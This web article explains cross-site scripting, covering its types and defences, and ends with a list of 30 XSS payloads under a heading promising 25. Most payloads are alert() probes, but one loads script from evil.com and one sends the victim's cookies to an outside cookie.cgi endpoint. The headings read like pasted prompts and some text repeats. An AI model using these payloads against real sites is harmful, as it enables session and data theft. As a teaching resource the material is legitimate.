Cross-Site Scripting (XSS) and how it works - Linklinkgo

Cross-site scripting (XSS) is an attack that injects malicious code into a website or web application. The malicious code can be used to access user data or even take control of their account. An example of an XSS attack is when an attacker injects a malicious script into a website that is then executed when a user visits the website. The malicious script could be used to steal user data, such as cookies or credit card numbers, or even take control of the user's account.

How XSS Works:

Cross-site scripting (XSS) is a type of security breach in which malicious code is injected into a website or web application. The malicious code runs in the user’s browser, allowing the attacker to take control of the page and access sensitive data such as usernames, passwords, and other information.

XSS attacks occur when an attacker injects malicious code, usually in the form of JavaScript or HTML, into a legitimate website or web application. This malicious code is then executed in the user’s browser, allowing the attacker to access and manipulate the user’s data.

XSS attacks are commonly used to steal user data, such as usernames and passwords, or to redirect the user to a malicious website. XSS attacks can also be used to launch other types of attacks, such as denial-of-service attacks, or to install malicious software on the user’s computer.

To protect against XSS attacks, websites and web applications should use input validation to ensure that any user-submitted data is properly sanitized before it is stored or displayed. Additionally, website developers should ensure that the website or web application is properly configured to prevent XSS attacks.

Why Is XSS Dangerous?

Cross-site scripting (XSS) is a type of injection attack that is a security vulnerability that occurs when an attacker injects malicious code into a legitimate website or web application. This malicious code is executed in the user’s browser and can be used to gain access to sensitive information or perform malicious actions, such as stealing data, redirecting users to malicious websites, or manipulating a website’s content. XSS attacks can be dangerous because they can lead to identity theft, data theft, and other malicious activities.

Give an example XSS attack

An example of an XSS attack is when an attacker injects a malicious script into a website that is then executed when a user visits the website. The malicious script could be used to steal user data, such as cookies or credit card numbers, or even take control of the user's account.

Give an example of an XSS attack

An example of an XSS attack is when an attacker injects malicious JavaScript code into a website. When a user visits the website, the malicious code is executed, which can then be used to access user data or even take control of the user's account. For example, an attacker might inject code that causes the website to display a fake login page that captures the user's username and password when they attempt to log in.

Types of XSS Vulnerabilities

1. Reflected XSS: Also known as non-persistent XSS, this type of attack occurs when a malicious script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

2. Stored XSS: Also known as persistent XSS, this type of attack occurs when the malicious script is stored on the target server, such as in a database, and is then served to other users when they request the tainted web page or application.

3. DOM-based XSS: This type of attack occurs when client-side scripts (such as JavaScript) manipulate the DOM environment in the victim’s browser and execute malicious scripts in the context of the vulnerable web page or application.

How to Protect Yourself from XSS attacks 

1. Use a Web Application Firewall (WAF): Web application firewalls (WAFs) are designed to detect and prevent XSS attacks by filtering out malicious code. WAFs analyze incoming requests and block any malicious code before it can be executed.

2. Sanitize Inputs: Inputs should always be sanitized before being used in any application. This means that any potentially dangerous characters or scripts should be removed or converted to harmless characters.

3. Set HTTP Headers: Setting certain HTTP headers can help prevent XSS attacks. For example, the HTTP header X-XSS-Protection can be used to prevent some XSS attacks from being executed in the browser.

4. Use Content Security Policy (CSP): Content Security Policy (CSP) is a security measure that can be used to control the loading of external resources, such as JavaScript and CSS. CSP can help prevent XSS attacks by preventing malicious code from being executed in the browser.

5. Validate User Inputs: User inputs should always be validated before being used in any application. This means that any potentially dangerous inputs should be rejected or filtered out.

Provide 25 XSS payload 

1. <script>alert(document.cookie)</script>
2. <script>alert('XSS')</script>
3. <script>prompt(1)</script>
4. <script src="https://evil.com/xss.js"></script>
5. <img src="javascript:alert('XSS');">
6. <svg onload="alert(document.cookie)">
7. <body onload="alert('XSS')">
8. <iframe src="javascript:alert('XSS')">
9. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
10. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
11. <a href="javascript:alert('XSS')">Click me</a>
12. <a href="javascript:prompt(document.cookie)">Click me</a>
13. <img src="x:alert('XSS')">
14. <img src=javascript:alert(String.fromCharCode(88,83,83))>
15. <img dynsrc="javascript:alert('XSS')">
16. <div style="background-image: url(javascript:alert('XSS'))">
17. <input type="image" src="javascript:alert('XSS');">
18. <img src=javascript:alert(&quot;XSS&quot;)>
19. <input type="text" value="`<script>alert('XSS')</script>`">
20. <img src=x onerror="alert('XSS')">
21. <input type="image" src=javascript:alert("XSS")>
22. <input type="text" autofocus onfocus=alert('XSS')>
23. <input type="text" onmouseover="alert('XSS')">
24. <b onmouseover="alert('XSS')">Dummy Text</b>
25. <img src="javascript:alert('XSS');">
26. <svg><script>alert('XSS')</script></svg>
27. <isindex type=image src="javascript:alert('XSS')">
28. <img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhT UyIpOzwvc2NyaXB0Pjwvc3ZnPg==">
29. <script>document.location='http://www.example.org/cgi-bin/cookie.cgi?'+document.cookie</script>
30. <marquee onstart='alert("XSS")'>Welcome</marquee>